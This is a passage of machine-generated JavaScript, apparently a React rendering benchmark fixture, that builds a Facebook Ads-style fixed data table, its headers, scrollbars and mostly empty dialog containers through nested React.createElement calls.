{\n            className: '_4lg9',\n            style: {height: 25},\n            onMouseDown: function () {},\n          },\n          React.createElement('div', {\n            className: '_4lga _4lgb',\n            style: {height: 25},\n          })\n        ),\n        React.createElement(TransitionCell142, {x: 365})\n      );\n    }\n    if (props.x === 373) {\n      return React.createElement(\n        'div',\n        {\n          className: '_4lg0 _4lg5 _4h2p _4h2m',\n          style: {height: 25, width: 140, left: 0},\n        },\n        React.createElement(\n          'div',\n          {\n            className: '_4lg9',\n            style: {height: 25},\n            onMouseDown: function () {},\n          },\n          React.createElement('div', {\n            className: '_4lga _4lgb',\n            style: {height: 25},\n          })\n        ),\n        React.createElement(TransitionCell142, {x: 372})\n      );\n    }\n    if (props.x === 378) {\n      return React.createElement(\n        'div',\n        {\n          className: '_4lg0 _4lg5 _4h2p _4h2m',\n          style: {height: 25, width: 140, left: 140},\n        },\n        React.createElement(\n          'div',\n          {\n            className: '_4lg9',\n            style: {height: 25},\n            onMouseDown: function () {},\n          },\n          React.createElement('div', {\n            className: '_4lga _4lgb',\n            style: {height: 25},\n          })\n        ),\n        React.createElement(TransitionCell142, {x: 377})\n      );\n    }\n    if (props.x === 383) {\n      return React.createElement(\n        'div',\n        {\n          className: '_4lg0 _4lg5 _4h2p _4h2m',\n          style: {height: 25, width: 80, left: 280},\n        },\n        React.createElement(\n          'div',\n          {\n            className: '_4lg9',\n            style: {height: 25},\n            onMouseDown: function () {},\n          },\n          React.createElement('div', {\n            className: '_4lga _4lgb',\n            style: {height: 25},\n          })\n        ),\n        React.createElement(TransitionCell142, {x: 382})\n      );\n    }\n    if (props.x === 388) {\n      return React.createElement(\n        'div',\n        {\n          className: '_4lg0 _4lg5 _4h2p _4h2m',\n          style: {height: 25, width: 80, left: 360},\n        },\n        React.createElement(\n          'div',\n          {\n            className: '_4lg9',\n            style: {height: 25},\n            onMouseDown: function () {},\n          },\n          React.createElement('div', {\n            className: '_4lga _4lgb',\n            style: {height: 25},\n          })\n        ),\n        React.createElement(TransitionCell142, {x: 387})\n      );\n    }\n    if (props.x === 393) {\n      return React.createElement(\n        'div',\n        {\n          className: '_4lg0 _4lg5 _4h2p _4h2m',\n          style: {height: 25, width: 60, left: 440},\n        },\n        React.createElement(\n          'div',\n          {\n            className: '_4lg9',\n            style: {height: 25},\n            onMouseDown: function () {},\n          },\n          React.createElement('div', {\n            className: '_4lga _4lgb',\n            style: {height: 25},\n          })\n        ),\n        React.createElement(TransitionCell142, {x: 392})\n      );\n    }\n    if (props.x === 398) {\n      return React.createElement(\n        'div',\n        {\n          className: '_4lg0 _4lg5 _4h2p _4h2m',\n          style: {height: 25, width: 80, left: 500},\n        },\n        React.createElement(\n          'div',\n          {\n            className: '_4lg9',\n            style: {height: 25},\n            onMouseDown: function () {},\n          },\n          React.createElement('div', {\n            className: '_4lga _4lgb',\n            style: {height: 25},\n          })\n        ),\n        React.createElement(TransitionCell142, {x: 397})\n      );\n    }\n    if (props.x === 403) {\n      return React.createElement(\n        'div',\n        {\n          className: '_4lg0 _4lg5 _4h2p _4h2m',\n          style: {height: 25, width: 78, left: 580},\n        },\n        React.createElement(\n          'div',\n          {\n            className: '_4lg9',\n            style: {height: 25},\n            onMouseDown: function () {},\n          },\n          React.createElement('div', {\n            className: '_4lga _4lgb',\n            style: {height: 25},\n          })\n        ),\n        React.createElement(TransitionCell142, {x: 402})\n      );\n    }\n    if (props.x === 408) {\n      return React.createElement(\n        'div',\n        {\n          className: '_4lg0 _4lg5 _4h2p _4h2m',\n          style: {height: 25, width: 70, left: 658},\n        },\n        React.createElement(\n          'div',\n          {\n            className: '_4lg9',\n            style: {height: 25},\n            onMouseDown: function () {},\n          },\n          React.createElement('div', {\n            className: '_4lga _4lgb',\n            style: {height: 25},\n          })\n        ),\n        React.createElement(TransitionCell142, {x: 407})\n      );\n    }\n    if (props.x === 413) {\n      return React.createElement(\n        'div',\n        {\n          className: '_4lg0 _4lg5 _4h2p _4h2m',\n          style: {height: 25, width: 70, left: 728},\n        },\n        React.createElement(\n          'div',\n          {\n            className: '_4lg9',\n            style: {height: 25},\n            onMouseDown: function () {},\n          },\n          React.createElement('div', {\n            className: '_4lga _4lgb',\n            style: {height: 25},\n          })\n        ),\n        React.createElement(TransitionCell142, {x: 412})\n      );\n    }\n    if (props.x === 418) {\n      return React.createElement(\n        'div',\n        {className: '_4lg0 _4h2m', style: {height: 25, width: 200, left: 798}},\n        React.createElement(\n          'div',\n          {\n            className: '_4lg9',\n            style: {height: 25},\n            onMouseDown: function () {},\n          },\n          React.createElement('div', {\n            className: '_4lga _4lgb',\n            style: {height: 25},\n          })\n        ),\n        React.createElement(TransitionCell142, {x: 417})\n      );\n    }\n    if (props.x === 423) {\n      return React.createElement(\n        'div',\n        {className: '_4lg0 _4h2m', style: {height: 25, width: 100, left: 998}},\n        React.createElement(\n          'div',\n          {\n            className: '_4lg9',\n            style: {height: 25},\n            onMouseDown: function () {},\n          },\n          React.createElement('div', {\n            className: '_4lga _4lgb',\n            style: {height: 25},\n          })\n        ),\n        React.createElement(TransitionCell142, {x: 422})\n      );\n    }\n    if (props.x === 428) {\n      return React.createElement(\n        'div',\n        {className: '_4lg0 _4h2m', style: {height: 25, width: 120, left: 1098}},\n        React.createElement(\n          'div',\n          {\n            className: '_4lg9',\n            style: {height: 25},\n            onMouseDown: function () {},\n          },\n          React.createElement('div', {\n            className: '_4lga _4lgb',\n            style: {height: 25},\n          })\n        ),\n        React.createElement(TransitionCell142, {x: 427})\n      );\n    }\n    if (props.x === 433) {\n      return React.createElement(\n        'div',\n        {className: '_4lg0 _4h2m', style: {height: 25, width: 113, left: 1218}},\n        React.createElement(\n          'div',\n          {\n            className: '_4lg9',\n            style: {height: 25},\n            onMouseDown: function () {},\n          },\n          React.createElement('div', {\n            className: '_4lga _4lgb',\n            style: {height: 25},\n          })\n        ),\n        React.createElement(TransitionCell142, {x: 432})\n      );\n    }\n    if (props.x === 438) {\n      return React.createElement(\n        'div',\n        {className: '_4lg0 _4h2m', style: {height: 25, width: 113, left: 1331}},\n        React.createElement(\n          'div',\n          {\n            className: '_4lg9',\n            style: {height: 25},\n            onMouseDown: function () {},\n          },\n          React.createElement('div', {\n            className: '_4lga _4lgb',\n            style: {height: 25},\n          })\n        ),\n        React.createElement(TransitionCell142, {x: 437})\n      );\n    }\n    if (props.x === 443) {\n      return React.createElement(\n        'div',\n        {className: '_4lg0 _4h2m', style: {height: 25, width: 113, left: 1444}},\n        React.createElement(\n          'div',\n          {\n            className: '_4lg9',\n            style: {height: 25},\n            onMouseDown: function () {},\n          },\n          React.createElement('div', {\n            className: '_4lga _4lgb',\n            style: {height: 25},\n          })\n        ),\n        React.createElement(TransitionCell142, {x: 442})\n      );\n    }\n    if (props.x === 448) {\n      return React.createElement(\n        'div',\n        {className: '_4lg0 _4h2m', style: {height: 25, width: 113, left: 1557}},\n        React.createElement(\n          'div',\n          {\n            className: '_4lg9',\n            style: {height: 25},\n            onMouseDown: function () {},\n          },\n          React.createElement('div', {\n            className: '_4lga _4lgb',\n            style: {height: 25},\n          })\n        ),\n        React.createElement(TransitionCell142, {x: 447})\n      );\n    }\n    if (props.x === 451) {\n      return React.createElement(\n        'div',\n        {className: '_4lg0 _4h2m', style: {height: 25, width: 150, left: 1670}},\n        React.createElement(\n          'div',\n          {\n            className: '_4lg9',\n            style: {height: 25},\n            onMouseDown: function () {},\n          },\n          React.createElement('div', {\n            className: '_4lga _4lgb',\n            style: {height: 25},\n          })\n        ),\n        React.createElement(TransitionCell142, {x: 450})\n      );\n    }\n    if (props.x === 454) {\n      return React.createElement(\n        'div',\n        {className: '_4lg0 _4h2m', style: {height: 25, width: 25, left: 1820}},\n        undefined,\n        React.createElement(TransitionCell142, {x: 453})\n      );\n    }\n  };\n\n  var FixedDataTableCellGroupImpl144 = function (props) {\n    if (props.x === 318) {\n      return React.createElement(\n        'div',\n        {\n          className: '_3pzj',\n          style: {\n            height: 40,\n            position: 'absolute',\n            width: 721,\n            zIndex: 2,\n            transform: 'translate3d(0px,0px,0)',\n            backfaceVisibility: 'hidden',\n          },\n        },\n        React.createElement(FixedDataTableCell143, {x: 317, key: 'cell_0'})\n      );\n    }\n    if (props.x === 332) {\n      return React.createElement(\n        'div',\n        {\n          className: '_3pzj',\n          style: {\n            height: 40,\n            position: 'absolute',\n            width: 1845,\n            zIndex: 0,\n            transform: 'translate3d(0px,0px,0)',\n            backfaceVisibility: 'hidden',\n          },\n        },\n        React.createElement(FixedDataTableCell143, {x: 322, key: 'cell_0'}),\n        React.createElement(FixedDataTableCell143, {x: 325, key: 'cell_1'}),\n        React.createElement(FixedDataTableCell143, {x: 328, key: 'cell_2'}),\n        React.createElement(FixedDataTableCell143, {x: 331, key: 'cell_3'})\n      );\n    }\n    if (props.x === 367) {\n      return React.createElement(\n        'div',\n        {\n          className: '_3pzj',\n          style: {\n            height: 25,\n            position: 'absolute',\n            width: 721,\n            zIndex: 2,\n            transform: 'translate3d(0px,0px,0)',\n            backfaceVisibility: 'hidden',\n          },\n        },\n        React.createElement(FixedDataTableCell143, {x: 339, key: 'cell_0'}),\n        React.createElement(FixedDataTableCell143, {x: 344, key: 'cell_1'}),\n        React.createElement(FixedDataTableCell143, {x: 350, key: 'cell_2'}),\n        React.createElement(FixedDataTableCell143, {x: 356, key: 'cell_3'}),\n        React.createElement(FixedDataTableCell143, {x: 361, key: 'cell_4'}),\n        React.createElement(FixedDataTableCell143, {x: 366, key: 'cell_5'})\n      );\n    }\n    if (props.x === 455) {\n      return React.createElement(\n        'div',\n        {\n          className: '_3pzj',\n          style: {\n            height: 25,\n            position: 'absolute',\n            width: 1845,\n            zIndex: 0,\n            transform: 'translate3d(0px,0px,0)',\n            backfaceVisibility: 'hidden',\n          },\n        },\n        React.createElement(FixedDataTableCell143, {x: 373, key: 'cell_0'}),\n        React.createElement(FixedDataTableCell143, {x: 378, key: 'cell_1'}),\n        React.createElement(FixedDataTableCell143, {x: 383, key: 'cell_2'}),\n        React.createElement(FixedDataTableCell143, {x: 388, key: 'cell_3'}),\n        React.createElement(FixedDataTableCell143, {x: 393, key: 'cell_4'}),\n        React.createElement(FixedDataTableCell143, {x: 398, key: 'cell_5'}),\n        React.createElement(FixedDataTableCell143, {x: 403, key: 'cell_6'}),\n        React.createElement(FixedDataTableCell143, {x: 408, key: 'cell_7'}),\n        React.createElement(FixedDataTableCell143, {x: 413, key: 'cell_8'}),\n        React.createElement(FixedDataTableCell143, {x: 418, key: 'cell_9'}),\n        React.createElement(FixedDataTableCell143, {x: 423, key: 'cell_10'}),\n        React.createElement(FixedDataTableCell143, {x: 428, key: 'cell_11'}),\n        React.createElement(FixedDataTableCell143, {x: 433, key: 'cell_12'}),\n        React.createElement(FixedDataTableCell143, {x: 438, key: 'cell_13'}),\n        React.createElement(FixedDataTableCell143, {x: 443, key: 'cell_14'}),\n        React.createElement(FixedDataTableCell143, {x: 448, key: 'cell_15'}),\n        React.createElement(FixedDataTableCell143, {x: 451, key: 'cell_16'}),\n        React.createElement(FixedDataTableCell143, {x: 454, key: 'cell_17'})\n      );\n    }\n  };\n\n  var FixedDataTableCellGroup145 = function (props) {\n    if (props.x === 319) {\n      return React.createElement(\n        'div',\n        {style: {height: 40, left: 0}, className: '_3pzk'},\n        React.createElement(FixedDataTableCellGroupImpl144, {x: 318})\n      );\n    }\n    if (props.x === 333) {\n      return React.createElement(\n        'div',\n        {style: {height: 40, left: 721}, className: '_3pzk'},\n        React.createElement(FixedDataTableCellGroupImpl144, {x: 332})\n      );\n    }\n    if (props.x === 368) {\n      return React.createElement(\n        'div',\n        {style: {height: 25, left: 0}, className: '_3pzk'},\n        React.createElement(FixedDataTableCellGroupImpl144, {x: 367})\n      );\n    }\n    if (props.x === 456) {\n      return React.createElement(\n        'div',\n        {style: {height: 25, left: 721}, className: '_3pzk'},\n        React.createElement(FixedDataTableCellGroupImpl144, {x: 455})\n      );\n    }\n  };\n\n  var FixedDataTableRowImpl146 = function (props) {\n    if (props.x === 334) {\n      return React.createElement(\n        'div',\n        {\n          className: '_1gd4 _4li _52no _3h1a _1mib',\n          onClick: null,\n          onDoubleClick: null,\n          onMouseDown: null,\n          onMouseEnter: null,\n          onMouseLeave: null,\n          style: {width: 1209, height: 40},\n        },\n        React.createElement(\n          'div',\n          {className: '_1gd5'},\n          React.createElement(FixedDataTableCellGroup145, {\n            x: 319,\n            key: 'fixed_cells',\n          }),\n          React.createElement(FixedDataTableCellGroup145, {\n            x: 333,\n            key: 'scrollable_cells',\n          }),\n          React.createElement('div', {\n            className: '_1gd6 _1gd8',\n            style: {left: 721, height: 40},\n          })\n        )\n      );\n    }\n    if (props.x === 457) {\n      return React.createElement(\n        'div',\n        {\n          className: '_1gd4 _4li _3h1a _1mib',\n          onClick: null,\n          onDoubleClick: null,\n          onMouseDown: null,\n          onMouseEnter: null,\n          onMouseLeave: null,\n          style: {width: 1209, height: 25},\n        },\n        React.createElement(\n          'div',\n          {className: '_1gd5'},\n          React.createElement(FixedDataTableCellGroup145, {\n            x: 368,\n            key: 'fixed_cells',\n          }),\n          React.createElement(FixedDataTableCellGroup145, {\n            x: 456,\n            key: 'scrollable_cells',\n          }),\n          React.createElement('div', {\n            className: '_1gd6 _1gd8',\n            style: {left: 721, height: 25},\n          })\n        )\n      );\n    }\n  };\n\n  var FixedDataTableRow147 = function (props) {\n    if (props.x === 335) {\n      return React.createElement(\n        'div',\n        {\n          style: {\n            width: 1209,\n            height: 40,\n            zIndex: 1,\n            transform: 'translate3d(0px,0px,0)',\n            backfaceVisibility: 'hidden',\n          },\n          className: '_1gda',\n        },\n        React.createElement(FixedDataTableRowImpl146, {x: 334})\n      );\n    }\n    if (props.x === 458) {\n      return React.createElement(\n        'div',\n        {\n          style: {\n            width: 1209,\n            height: 25,\n            zIndex: 1,\n            transform: 'translate3d(0px,40px,0)',\n            backfaceVisibility: 'hidden',\n          },\n          className: '_1gda',\n        },\n        React.createElement(FixedDataTableRowImpl146, {x: 457})\n      );\n    }\n  };\n\n  var FixedDataTableAbstractSortableHeader148 = function (props) {\n    if (props.x === 341) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          React.createElement(AdsPETableHeader141, {x: 340})\n        )\n      );\n    }\n    if (props.x === 347) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _1kst _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          React.createElement(AdsPETableHeader141, {x: 346})\n        )\n      );\n    }\n    if (props.x === 353) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _1kst _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          React.createElement(AdsPETableHeader141, {x: 352})\n        )\n      );\n    }\n    if (props.x === 358) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          React.createElement(AdsPETableHeader141, {x: 357})\n        )\n      );\n    }\n    if (props.x === 363) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _54_9 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          React.createElement(AdsPETableHeader141, {x: 362})\n        )\n      );\n    }\n    if (props.x === 370) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          React.createElement(AdsPETableHeader141, {x: 369})\n        )\n      );\n    }\n    if (props.x === 375) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          React.createElement(AdsPETableHeader141, {x: 374})\n        )\n      );\n    }\n    if (props.x === 380) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          React.createElement(AdsPETableHeader141, {x: 379})\n        )\n      );\n    }\n    if (props.x === 385) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          React.createElement(AdsPETableHeader141, {x: 384})\n        )\n      );\n    }\n    if (props.x === 390) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          React.createElement(AdsPETableHeader141, {x: 389})\n        )\n      );\n    }\n    if (props.x === 395) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          React.createElement(AdsPETableHeader141, {x: 394})\n        )\n      );\n    }\n    if (props.x === 400) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          React.createElement(AdsPETableHeader141, {x: 399})\n        )\n      );\n    }\n    if (props.x === 405) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          React.createElement(AdsPETableHeader141, {x: 404})\n        )\n      );\n    }\n    if (props.x === 410) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          React.createElement(AdsPETableHeader141, {x: 409})\n        )\n      );\n    }\n    if (props.x === 415) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          React.createElement(AdsPETableHeader141, {x: 414})\n        )\n      );\n    }\n    if (props.x === 420) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          React.createElement(AdsPETableHeader141, {x: 419})\n        )\n      );\n    }\n    if (props.x === 425) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          React.createElement(AdsPETableHeader141, {x: 424})\n        )\n      );\n    }\n    if (props.x === 430) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          React.createElement(AdsPETableHeader141, {x: 429})\n        )\n      );\n    }\n    if (props.x === 435) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          React.createElement(AdsPETableHeader141, {x: 434})\n        )\n      );\n    }\n    if (props.x === 440) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          React.createElement(AdsPETableHeader141, {x: 439})\n        )\n      );\n    }\n    if (props.x === 445) {\n      return React.createElement(\n        'div',\n        {onClick: function () {}, className: '_54_8 _4h2r _2wzx'},\n        React.createElement(\n          'div',\n          {className: '_2eq6'},\n          null,\n          React.createElement(AdsPETableHeader141, {x: 444})\n        )\n      );\n    }\n  };\n\n  var FixedDataTableSortableHeader149 = function (props) {\n    if (props.x === 342) {\n      return React.createElement(FixedDataTableAbstractSortableHeader148, {\n        x: 341,\n      });\n    }\n    if (props.x === 348) {\n      return React.createElement(FixedDataTableAbstractSortableHeader148, {\n        x: 347,\n      });\n    }\n    if (props.x === 354) {\n      return React.createElement(FixedDataTableAbstractSortableHeader148, {\n        x: 353,\n      });\n    }\n    if (props.x === 359) {\n      return React.createElement(FixedDataTableAbstractSortableHeader148, {\n        x: 358,\n      });\n    }\n    if (props.x === 364) {\n      return React.createElement(FixedDataTableAbstractSortableHeader148, {\n        x: 363,\n      });\n    }\n    if (props.x === 371) {\n      return React.createElement(FixedDataTableAbstractSortableHeader148, {\n        x: 370,\n      });\n    }\n    if (props.x === 376) {\n      return React.createElement(FixedDataTableAbstractSortableHeader148, {\n        x: 375,\n      });\n    }\n    if (props.x === 381) {\n      return React.createElement(FixedDataTableAbstractSortableHeader148, {\n        x: 380,\n      });\n    }\n    if (props.x === 386) {\n      return React.createElement(FixedDataTableAbstractSortableHeader148, {\n        x: 385,\n      });\n    }\n    if (props.x === 391) {\n      return React.createElement(FixedDataTableAbstractSortableHeader148, {\n        x: 390,\n      });\n    }\n    if (props.x === 396) {\n      return React.createElement(FixedDataTableAbstractSortableHeader148, {\n        x: 395,\n      });\n    }\n    if (props.x === 401) {\n      return React.createElement(FixedDataTableAbstractSortableHeader148, {\n        x: 400,\n      });\n    }\n    if (props.x === 406) {\n      return React.createElement(FixedDataTableAbstractSortableHeader148, {\n        x: 405,\n      });\n    }\n    if (props.x === 411) {\n      return React.createElement(FixedDataTableAbstractSortableHeader148, {\n        x: 410,\n      });\n    }\n    if (props.x === 416) {\n      return React.createElement(FixedDataTableAbstractSortableHeader148, {\n        x: 415,\n      });\n    }\n    if (props.x === 421) {\n      return React.createElement(FixedDataTableAbstractSortableHeader148, {\n        x: 420,\n      });\n    }\n    if (props.x === 426) {\n      return React.createElement(FixedDataTableAbstractSortableHeader148, {\n        x: 425,\n      });\n    }\n    if (props.x === 431) {\n      return React.createElement(FixedDataTableAbstractSortableHeader148, {\n        x: 430,\n      });\n    }\n    if (props.x === 436) {\n      return React.createElement(FixedDataTableAbstractSortableHeader148, {\n        x: 435,\n      });\n    }\n    if (props.x === 441) {\n      return React.createElement(FixedDataTableAbstractSortableHeader148, {\n        x: 440,\n      });\n    }\n    if (props.x === 446) {\n      return React.createElement(FixedDataTableAbstractSortableHeader148, {\n        x: 445,\n      });\n    }\n  };\n\n  var FixedDataTableBufferedRows150 = function (props) {\n    if (props.x === 459) {\n      return React.createElement('div', {\n        style: {\n          position: 'absolute',\n          pointerEvents: 'auto',\n          transform: 'translate3d(0px,65px,0)',\n          backfaceVisibility: 'hidden',\n        },\n      });\n    }\n  };\n\n  var Scrollbar151 = function (props) {\n    if (props.x === 460) {\n      return null;\n    }\n    if (props.x === 461) {\n      return React.createElement(\n        'div',\n        {\n          onFocus: function () {},\n          onBlur: function () {},\n          onKeyDown: function () {},\n          onMouseDown: function () {},\n          onWheel: function () {},\n          className: '_1t0r _1t0t _4jdr _1t0u',\n          style: {width: 1209, zIndex: 99},\n          tabIndex: 0,\n        },\n        React.createElement('div', {\n          className: '_1t0w _1t0y _1t0_',\n          style: {\n            width: 561.6340607950117,\n            transform: 'translate3d(4px,0px,0)',\n            backfaceVisibility: 'hidden',\n          },\n        })\n      );\n    }\n  };\n\n  var HorizontalScrollbar152 = function (props) {\n    if (props.x === 462) {\n      return React.createElement(\n        'div',\n        {className: '_3h1k _3h1m', style: {height: 15, width: 1209}},\n        React.createElement(\n          'div',\n          {\n            style: {\n              height: 15,\n              position: 'absolute',\n              overflow: 'hidden',\n              width: 1209,\n              transform: 'translate3d(0px,0px,0)',\n              backfaceVisibility: 'hidden',\n            },\n          },\n          React.createElement(Scrollbar151, {x: 461})\n        )\n      );\n    }\n  };\n\n  var FixedDataTable153 = function (props) {\n    if (props.x === 463) {\n      return React.createElement(\n        'div',\n        {\n          className: '_3h1i _1mie',\n          onWheel: function () {},\n          style: {height: 25, width: 1209},\n        },\n        React.createElement(\n          'div',\n          {className: '_3h1j', style: {height: 8, width: 1209}},\n          React.createElement(FixedDataTableColumnResizeHandle140, {x: 313}),\n          React.createElement(FixedDataTableRow147, {\n            x: 335,\n            key: 'group_header',\n          }),\n          React.createElement(FixedDataTableRow147, {x: 458, key: 'header'}),\n          React.createElement(FixedDataTableBufferedRows150, {x: 459}),\n          null,\n          undefined,\n          React.createElement('div', {\n            className: '_3h1e _3h1h',\n            style: {top: 8},\n          })\n        ),\n        React.createElement(Scrollbar151, {x: 460}),\n        React.createElement(HorizontalScrollbar152, {x: 462})\n      );\n    }\n  };\n\n  var TransitionTable154 = function (props) {\n    if (props.x === 464) {\n      return React.createElement(FixedDataTable153, {x: 463});\n    }\n  };\n\n  var AdsSelectableFixedDataTable155 = function (props) {\n    if (props.x === 465) {\n      return React.createElement(\n        'div',\n        {className: '_5hht'},\n        React.createElement(TransitionTable154, {x: 464})\n      );\n    }\n  };\n\n  var AdsDataTableKeyboardSupportDecorator156 = function (props) {\n    if (props.x === 466) {\n      return React.createElement(\n        'div',\n        {className: '_5d6f', tabIndex: '0', onKeyDown: function () {}},\n        React.createElement(AdsSelectableFixedDataTable155, {x: 465})\n      );\n    }\n  };\n\n  var AdsEditableDataTableDecorator157 = function (props) {\n    if (props.x === 467) {\n      return React.createElement(\n        'div',\n        {onCopy: function () {}},\n        React.createElement(AdsDataTableKeyboardSupportDecorator156, {x: 466})\n      );\n    }\n  };\n\n  var AdsPEDataTableContainer158 = function (props) {\n    if (props.x === 468) {\n      return React.createElement(\n        'div',\n        {className: '_35l_ _1hr clearfix'},\n        null,\n        null,\n        null,\n        React.createElement(AdsEditableDataTableDecorator157, {x: 467})\n      );\n    }\n  };\n\n  var AdsPECampaignGroupTableContainer159 = function (props) {\n    if (props.x === 470) {\n      return React.createElement(ResponsiveBlock37, {x: 469});\n    }\n  };\n\n  var AdsPEManageAdsPaneContainer160 = function (props) {\n    if (props.x === 473) {\n      return React.createElement(\n        'div',\n        null,\n        React.createElement(AdsErrorBoundary10, {x: 65}),\n        React.createElement(\n          'div',\n          {className: '_2uty'},\n          React.createElement(AdsErrorBoundary10, {x: 125})\n        ),\n        React.createElement(\n          'div',\n          {className: '_2utx _21oc'},\n          React.createElement(AdsErrorBoundary10, {x: 171}),\n          React.createElement(\n            'div',\n            {className: '_41tu'},\n            React.createElement(AdsErrorBoundary10, {x: 176}),\n            React.createElement(AdsErrorBoundary10, {x: 194})\n          )\n        ),\n        React.createElement(\n          'div',\n          {className: '_2utz', style: {height: 25}},\n          React.createElement(AdsErrorBoundary10, {x: 302}),\n          React.createElement(\n            'div',\n            {className: '_2ut-'},\n            React.createElement(AdsErrorBoundary10, {x: 312})\n          ),\n          React.createElement(\n            'div',\n            {className: '_2ut_'},\n            React.createElement(AdsErrorBoundary10, {x: 472})\n          )\n        )\n      );\n    }\n  };\n\n  var AdsPEContentContainer161 = function (props) {\n    if (props.x === 474) {\n      return React.createElement(AdsPEManageAdsPaneContainer160, {x: 473});\n    }\n  };\n\n  var FluxContainer_AdsPEWorkspaceContainer_162 = function (props) {\n    if (props.x === 477) {\n      return React.createElement(\n        'div',\n        {className: '_49wu', style: {height: 177, top: 43, width: 1306}},\n        React.createElement(ResponsiveBlock37, {x: 62, key: '0'}),\n        React.createElement(AdsErrorBoundary10, {x: 476, key: '1'}),\n        null\n      );\n    }\n  };\n\n  var FluxContainer_AdsSessionExpiredDialogContainer_163 = function (props) {\n    if (props.x === 478) {\n      return null;\n    }\n  };\n\n  var FluxContainer_AdsPEUploadDialogLazyContainer_164 = function (props) {\n    if (props.x === 479) {\n      return null;\n    }\n  };\n\n  var FluxContainer_DialogContainer_165 = function (props) {\n    if (props.x === 480) {\n      return null;\n    }\n  };\n\n  var AdsBugReportContainer166 = function (props) {\n    if (props.x === 481) {\n      return React.createElement('span', null);\n    }\n  };\n\n  var AdsPEAudienceSplittingDialog167 = function (props) {\n    if (props.x === 482) {\n      return null;\n    }\n  };\n\n  var AdsPEAudienceSplittingDialogContainer168 = function (props) {\n    if (props.x === 483) {\n      return React.createElement(\n        'div',\n        null,\n        React.createElement(AdsPEAudienceSplittingDialog167, {x: 482})\n      );\n    }\n  };\n\n  var FluxContainer_AdsRuleDialogBootloadContainer_169 = function (props) {\n    if (props.x === 484) {\n      return null;\n    }\n  };\n\n  var FluxContainer_AdsPECFTrayContainer_170 = function (props) {\n    if (props.x === 485) {\n      return null;\n    }\n  };\n\n  var FluxContainer_AdsPEDeleteDraftContainer_171 = function (props) {\n    if (props.x === 486) {\n      return null;\n    }\n  };\n\n  var FluxContainer_AdsPEInitialDraftPublishDialogContainer_172 = function (\n    props\n  ) {\n    if (props.x === 487) {\n      return null;\n    }\n  };\n\n  var FluxContainer_AdsPEReachFrequencyStatusTransitionDialogBootloadContainer_173 =\n    function (props) {\n      if (props.x === 488) {\n        return null;\n      }\n    };\n\n  var FluxContainer_AdsPEPurgeArchiveDialogContainer_174 = function (props) {\n    if (props.x === 489) {\n      return null;\n    }\n  };\n\n  var AdsPECreateDialogContainer175 = function (props) {\n    if (props.x === 490) {\n      return React.createElement('span', null);\n    }\n  };\n\n  var FluxContainer_AdsPEModalStatusContainer_176 = function (props) {\n    if (props.x === 491) {\n      return null;\n    }\n  };\n\n  var FluxContainer_AdsBrowserExtensionErrorDialogContainer_177 = function (\n    props\n  ) {\n    if (props.x === 492) {\n      return null;\n    }\n  };\n\n  var FluxContainer_AdsPESortByErrorTipContainer_178 = function (props) {\n    if (props.x === 493) {\n      return null;\n    }\n  };\n\n  var LeadDownloadDialogSelector179 = function (props) {\n    if (props.x === 494) {\n      return null;\n    }\n  };\n\n  var FluxContainer_AdsPELeadDownloadDialogContainerClass_180 = function (\n    props\n  ) {\n    if (props.x === 495) {\n      return React.createElement(LeadDownloadDialogSelector179, {x: 494});\n    }\n  };\n\n  var AdsPEContainer181 = function (props) {\n    if (props.x 